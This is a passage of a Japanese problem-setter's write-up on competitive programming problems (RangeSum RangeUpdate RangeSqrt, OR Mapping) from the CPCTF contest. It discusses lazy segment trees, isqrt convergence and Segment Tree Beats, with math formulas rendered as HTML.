<p class="katex-block "><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.1304em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">2</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x220F;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">&#x221E;</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">&#x230A;</span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.242em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">i</span></span><span class="mclose">&#x230B;</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p>
<p class="katex-block "><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.1304em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">(</span></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x220F;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">&#x221E;</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="root"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8796em;"><span style="top:-3.0324em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size6 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9636em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">i</span></span></span><span style="top:-2.9236em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.0764em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">(</span></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">2</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x220F;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">&#x221E;</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">&#x230A;</span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.242em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">i</span></span><span class="mclose">&#x230B;</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">)</span></span></span></span></span></span></span></p>
<p class="katex-block "><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.1304em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x220F;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">2</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">&#x221E;</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mopen">&#x230A;</span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.242em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">i</span></span><span class="mclose">&#x230B;</span></span></span></span></span></p>
<p>&#x3061;&#x306A;&#x307F;&#x306B;&#x4E0A;&#x306E;&#x3084;&#x3064;&#x3089;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">18</span></span></span></span></span></span></span></span></span></span></span></span> &#x3067;&#x89E3;&#x3051;&#x308B;&#x304B;&#x306F;&#x771F;&#x9762;&#x76EE;&#x306B;&#x78BA;&#x8A8D;&#x3057;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;&#x6C17;&#x306B;&#x306A;&#x308B;&#x4EBA;&#x306F;&#x3084;&#x3063;&#x3066;&#x307F;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<h3 id="%E7%B5%90%E6%9E%9C">&#x7D50;&#x679C;</h3>
<p>&#x8A08;&#x7B97;&#x30DF;&#x30B9;&#x3084;&#x30AA;&#x30FC;&#x30D0;&#x30FC;&#x30D5;&#x30ED;&#x30FC;&#x3067;&#x3084;&#x3089;&#x304B;&#x3057;&#x305F;&#x4EBA;&#x304C;&#x7D50;&#x69CB;&#x3044;&#x308B;&#x304B;&#x3082;&#xFF1F;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="rangesum-rangeupdate-rangesqrt-lv4-%E6%98%9F3">RangeSum RangeUpdate RangeSqrt [Lv4, &#x661F;3]</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%96%87">&#x554F;&#x984C;&#x6587;</h3>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://yukicoder.me/problems/13165?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">No.3507 RangeSum RangeUpdate RangeSqrt - yukicoder</div><div class="kg-bookmark-description">&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DF4;&#x7FD2;&#x30B5;&#x30A4;&#x30C8;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://yukicoder.me/favicon.ico" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"><span class="kg-bookmark-author">yukicoder</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://yukicoder.me/public/img/icon.png" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"></div></a></figure><!--kg-card-begin: markdown--><h3 id="%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h3>
<p>&#x539F;&#x6848;&#x62C5;&#x5F53; &#x517C; writer &#x3067;&#x3059;&#x3002;</p>
<p>&#x554F;&#x984C;&#x3068;&#x3057;&#x3066;&#x306F;2&#x756A;&#x76EE;&#x306B;&#x304A;&#x6C17;&#x306B;&#x5165;&#x308A;&#x3067;&#x3059;&#x3002;&#x7F8E;&#x3057;&#x3044;&#x5F62;&#x3057;&#x3066;&#x307E;&#x3059;&#x3088;&#x306D;&#x3002;</p>
<p>&#x9045;&#x5EF6;&#x30BB;&#x30B0;&#x6728;&#x306B;&#x95A2;&#x3059;&#x308B;&#x304A;&#x52C9;&#x5F37;&#x3092; <a href="https://elliptic-shiho.github.io/segtree/segtree.pdf?ref=trap.jp">&#x30BB;&#x30B0;&#x30E1;&#x30F3;&#x30C8;&#x6728;&#x3068;&#x4EE3;&#x6570;&#x69CB;&#x9020;&#x306E;&#x7406;&#x8AD6;</a> &#x3067;&#x3057;&#x305F;&#x306E;&#x3067;&#x3001;&#x305B;&#x3063;&#x304B;&#x304F;&#x306A;&#x3089;&#x4F55;&#x304B;&#x4F5C;&#x308D;&#x3046;&#x3068;&#x601D;&#x3063;&#x3066;&#x3067;&#x304D;&#x305F;&#x3082;&#x306E;&#x3067;&#x3059;&#x3002;&#x306A;&#x3093;&#x3068;&#x306A;&#x304F;&#x300C;RangeSqrt &#x3063;&#x3066;&#x3067;&#x304D;&#x306A;&#x3044;&#x304B;&#x306A;&#xFF5E;&#x300D;&#x3063;&#x3066;10&#x5206;&#x3050;&#x3089;&#x3044;&#x9811;&#x5F35;&#x3063;&#x3066;&#x60A9;&#x3093;&#x3060;&#x3089;&#x3001;&#x300C;isqrt&#x306F;&#x7E70;&#x308A;&#x8FD4;&#x3059;&#x3068;&#x3059;&#x3050;&#x306B;1&#x306B;&#x53CE;&#x675F;&#x3059;&#x308B;&#x300D;&#x3068;&#x3044;&#x3046;&#x4E8B;&#x5B9F;&#x306B;&#x6C17;&#x3065;&#x3044;&#x3066;&#x3001;&#x3058;&#x3083;&#x3042;&#x300C;isqrt&#x3092;&#x4F55;&#x56DE;&#x66F8;&#x3051;&#x305F;&#x304B;&#x300D;&#x3068;&#x3044;&#x3046;&#x60C5;&#x5831;&#x3092;&#x9045;&#x5EF6;&#x60C5;&#x5831;&#x306B;&#x4E57;&#x305B;&#x308C;&#x3070;&#x3044;&#x3044;&#x306E;&#x3067;&#x306F;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x306B;&#x6C17;&#x3065;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x300C;&#x9045;&#x5EF6;&#x60C5;&#x5831;&#x306B;&#x5408;&#x6210;&#x56DE;&#x6570;&#x3092;&#x4E57;&#x305B;&#x308B;&#x300D;&#x3068;&#x3044;&#x3046;&#x767A;&#x60F3;&#x304C;&#x81EA;&#x529B;&#x3067;&#x601D;&#x3044;&#x4ED8;&#x3051;&#x305F;&#x306E;&#x304C;&#x5B09;&#x3057;&#x3044;&#x3067;&#x3059;&#x3002;ACL&#x3068;&#x304B;&#x306B;&#x983C;&#x3089;&#x305A;&#x306B;&#x3061;&#x3083;&#x3093;&#x3068;&#x5185;&#x90E8;&#x5B9F;&#x88C5;&#x3092;&#x52C9;&#x5F37;&#x3057;&#x305F;&#x304B;&#x3089;&#x3053;&#x3046;&#x3044;&#x3046;&#x975E;&#x5178;&#x578B;&#x306A;&#x3082;&#x306E;&#x3092;&#x4E57;&#x305B;&#x308C;&#x308B;&#x767A;&#x60F3;&#x304C;&#x601D;&#x3044;&#x3064;&#x304F;&#x306E;&#x304B;&#x3082;&#x3057;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;A=0&#x306E;&#x30B3;&#x30FC;&#x30CA;&#x30FC;&#x30B1;&#x30FC;&#x30B9;&#x3082;&#x3001;&#x30E2;&#x30CE;&#x30A4;&#x30C9;&#x3092;&#x3044;&#x3044;&#x611F;&#x3058;&#x306B;&#x3059;&#x308C;&#x3070;&#x7C21;&#x5358;&#x306B;&#x3067;&#x304D;&#x307E;&#x3059;&#x306D;&#x3002;&#x3042;&#x3068; Python &#x3067;&#x901A;&#x308B;&#x3093;&#x3067;&#x3059;&#x304B;&#x306D;&#x3053;&#x306E;&#x554F;&#x984C;&#x3002;&#x30E2;&#x30CE;&#x30A4;&#x30C9;&#x304C;&#x91CD;&#x3044;&#x304B;&#x3089;&#x591A;&#x5206;&#x96E3;&#x3057;&#x3044;&#x304B;&#x3082;&#x3002;</p>
<p>&#x305F;&#x3060;&#x3001;&#x4F5C;&#x554F;&#x3057;&#x3066;&#x3059;&#x3050;&#x306B;&#x300C;Segment Tree Beats! &#x3067;&#x6BB4;&#x308C;&#x306A;&#x3044;&#xFF1F;&#x300D;&#x3068;&#x8A00;&#x308F;&#x308C;&#x3066;&#x60A9;&#x307F;&#x307E;&#x3057;&#x305F;&#x3002;&#x5F53;&#x6642;&#x306F;&#x5206;&#x304B;&#x3063;&#x3066;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x511F;&#x5374;&#x89E3;&#x6790;&#x3068;&#x304B;&#x30DD;&#x30C6;&#x30F3;&#x30B7;&#x30E3;&#x30EB;&#x3068;&#x304B;&#x52C9;&#x5F37;&#x3057;&#x3066;&#x3001;2&#x6708;&#x3050;&#x3089;&#x3044;&#x306B;&#x3084;&#x3063;&#x3068; Beats! &#x306E;&#x672C;&#x8CEA;&#x3092;&#x7406;&#x89E3;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x4ECA;&#x306B;&#x306A;&#x3063;&#x3066;&#x601D;&#x3048;&#x3070;&#x3001;Beats! &#x3067;&#x6BB4;&#x3063;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3068;&#x8A00;&#x308F;&#x3093;&#x3070;&#x304B;&#x308A;&#x306E;&#x554F;&#x984C;&#x306B;&#x898B;&#x3048;&#x308B;&#x306A;&#x3041;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;Range Update &#x3068;&#x304B;&#x3001;Beats &#x306E;&#x5F97;&#x610F;&#x5206;&#x91CE;&#x3067;&#x3059;&#x3057;&#x306D;&#x3002;Beats &#x3092;&#x6BBA;&#x3059;&#x305F;&#x3081;&#x306B;&#x3082;&#x3001;Range Restore (&#x3042;&#x308B;&#x7BC4;&#x56F2;&#x3092;&#x521D;&#x671F;&#x5316;&#x914D;&#x5217;&#x306B;&#x623B;&#x3059;&#x3001;<a href="https://atcoder.jp/contests/jag2018summer-day2/tasks/jag2018summer_day2_i?ref=trap.jp">&#x53C2;&#x8003;</a>) &#x3068;&#x304B;&#x6C38;&#x7D9A;&#x5316;&#x3092;&#x3059;&#x308C;&#x3070; Beats &#x3092;&#x6BBA;&#x305B;&#x308B;&#x306A;&#x3042;&#x3068;&#x306F;&#x601D;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x305D;&#x3046;&#x3059;&#x308B;&#x3068;&#x5B9F;&#x88C5;&#x304C;&#x91CD;&#x3044;&#x3068;&#x304B;Python&#x306E;TL&#x304C;&#x30E4;&#x30D0;&#x3044;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3067;&#x65AD;&#x5FF5;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x3042;&#x3068;&#x554F;&#x984C;&#x306E;&#x7F8E;&#x3057;&#x3055;&#x304C;&#x640D;&#x306A;&#x308F;&#x308C;&#x3061;&#x3083;&#x3046;&#x306E;&#x3067;&#x306D;&#x3002;&#x96E3;&#x3057;&#x3055;&#x3088;&#x308A;&#x3082;&#x898B;&#x305F;&#x76EE;&#x306E;&#x7F8E;&#x3057;&#x3055;&#x306E;&#x65B9;&#x304C;&#x5927;&#x4E8B;&#x3060;&#x3068;&#x601D;&#x3063;&#x3066;&#x307E;&#x3059;(&#x601D;&#x60F3;)&#x3002;&#x3042;&#x3068; Python &#x306F;Beats &#x3092;&#x4F7F;&#x3048;&#x3070;&#x30E2;&#x30CE;&#x30A4;&#x30C9;&#x306E;&#x8981;&#x7D20;&#x6570;&#x304C;&#x6E1B;&#x308B;&#x304B;&#x3089;&#x3001;&#x7D50;&#x5C40;&#x8A31;&#x5BB9;&#x3059;&#x3079;&#x304D;&#x304B;&#x306A;&#xFF5E;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x307E;&#x3042;&#x7D50;&#x679C;&#x7684;&#x306B;&#x306F;&#x3001;&#x7D50;&#x69CB; Beats! &#x3067;&#x6BB4;&#x3063;&#x3066;&#x308B;&#x4EBA;&#x304C;&#x305D;&#x3053;&#x305D;&#x3053;&#x3044;&#x307E;&#x3057;&#x305F;&#x306D;...&#x307E;&#x3042; K&#x554F;&#x984C; &#x307E;&#x3067;&#x305F;&#x3069;&#x308A;&#x7740;&#x304F;&#x4EBA;&#x306F; Beats! &#x3050;&#x3089;&#x3044;&#x5F53;&#x7136;&#x306B;&#x4F7F;&#x3063;&#x3066;&#x308B;&#x3093;&#x3067;&#x3059;&#x304B;&#x306D;...<br>
&#x3068;&#x3082;&#x304B;&#x304F;&#x3001;isqrt &#x306B;&#x95A2;&#x3059;&#x308B;&#x554F;&#x984C;&#x3092;&#x4F5C;&#x308C;&#x305F;&#x306E;&#x306F;&#x6E80;&#x8DB3;&#x3067;&#x3059;&#x3002;&#x3057;&#x304B;&#x3082;&#x4E0A;&#x3082;&#x5408;&#x308F;&#x305B;&#x3066;2&#x554F;&#x3082;&#x3002;<br>
&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x4E2D;&#x306B;&#x50D5;&#x306E;&#x904E;&#x53BB;&#x30D6;&#x30ED;&#x30B0;&#x3092;&#x898B;&#x3066;&#x304F;&#x308C;&#x305F;&#x4EBA;&#x3082;&#x305D;&#x308C;&#x306A;&#x308A;&#x306B;&#x3044;&#x308B;&#x306E;&#x3067;&#x306F;...&#xFF1F;</p>
<p>&#x53C2;&#x8003;&#xFF1A;<a href="https://trap.jp/post/2728/">&#x3010;c++&#x3011;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x3088;&#x308A;&#x901F;&#x3044;isqrt&#x3092;&#x5B9F;&#x88C5;&#x3059;&#x308B;</a></p>
<h3 id="%E7%B5%90%E6%9E%9C">&#x7D50;&#x679C;</h3>
<p>&#x7D50;&#x679C;&#x7684;&#x306B;&#x306F;&#x3001;Beats!&#x304C;&#x610F;&#x5916;&#x3068;&#x4F7F;&#x3063;&#x3066;&#x308B;&#x4EBA;&#x3044;&#x3066;&#x9A5A;&#x304D;&#x3067;&#x3059;&#x3002;&#x305D;&#x3093;&#x306A;&#x5178;&#x578B;&#x306A;&#x3093;&#x3067;&#x3059;&#x304B;&#x306D;...&#xFF1F;<br>
&#x826F;&#x304F;&#x8A00;&#x3048;&#x3070;&#x3001;Beats&#x3092;&#x4F7F;&#x308F;&#x305B;&#x308B;&#x5178;&#x578B;&#x554F;&#x984C;&#x3067;&#x3082;&#x3001;&#x77E5;&#x3089;&#x306A;&#x304F;&#x3066;&#x3082;&#x8003;&#x5BDF;&#x3067;&#x9045;&#x5EF6;&#x30BB;&#x30B0;&#x6728;&#x3067;&#x89E3;&#x3051;&#x308B;&#x5FDC;&#x7528;&#x554F;&#x984C;&#x3068;&#x3057;&#x3066;&#x3082;&#x6349;&#x3048;&#x3089;&#x308C;&#x308B;&#x3063;&#x3066;&#x8A00;&#x3048;&#x308B;&#x3093;&#x3058;&#x3083;&#x306A;&#x3044;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#xFF1F;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="or-mapping-lv4-%E6%98%9F3">OR Mapping [Lv4, &#x661F;3]</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%96%87">&#x554F;&#x984C;&#x6587;</h3>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://yukicoder.me/problems/no/3508?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">No.3508 OR Mapping - yukicoder</div><div class="kg-bookmark-description">&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DF4;&#x7FD2;&#x30B5;&#x30A4;&#x30C8;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://yukicoder.me/favicon.ico" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"><span class="kg-bookmark-author">yukicoder</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://yukicoder.me/public/img/icon.png" alt="CPCTF &#x4F5C;&#x554F;&#x8005;writeup n3&#x7DE8;"></div></a></figure><!--kg-card-begin: markdown--><h3 id="%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h3>
<p>&#x539F;&#x6848;&#x62C5;&#x5F53;(?) &#x517C; writer &#x3067;&#x3059;&#x3002;<br>
&#x539F;&#x6848;&#x62C5;&#x5F53;&#x3068;&#x306F;&#x3044;&#x3063;&#x3066;&#x3082;&#x3001;&#x81EA;&#x5206;&#x304C;&#x7121;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3067;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x51FA;&#x3057;&#x305F;&#x3089;&#x3001;<a href="https://trap.jp/author/Nzt3/">@Nzt3</a> &#x3055;&#x3093;&#x304C;&#x300C;&#x6709;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3067;&#x3082;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3088;&#x300D;&#x3063;&#x3066;&#x6307;&#x6458;&#x3057;&#x3066;&#x554F;&#x984C;&#x306B;&#x306A;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x539F;&#x6848;&#x3068;&#x3057;&#x3066;&#x306E;&#x8CA2;&#x732E;&#x306F;&#x534A;&#x5206;&#x4EE5;&#x4E0B;&#x3050;&#x3089;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<p>&#x306A;&#x304B;&#x306A;&#x304B;&#x30B3;&#x30FC;&#x30CA;&#x30FC;&#x30B1;&#x30FC;&#x30B9;&#x3092;&#x898B;&#x629C;&#x3044;&#x3066;&#x3044;&#x304F;&#x306E;&#x304C;&#x3057;&#x3093;&#x3069;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x3068;&#x3044;&#x3046;&#x304B;&#x81EA;&#x5206;&#x3082;&#x306F;&#x3058;&#x3081;&#x5B9F;&#x88C5;&#x30DF;&#x30B9;&#x3092;&#x3057;&#x3066;&#x3044;&#x3066;&#x3001;<a href="https://trap.jp/author/Naru820/">@Naru820</a> 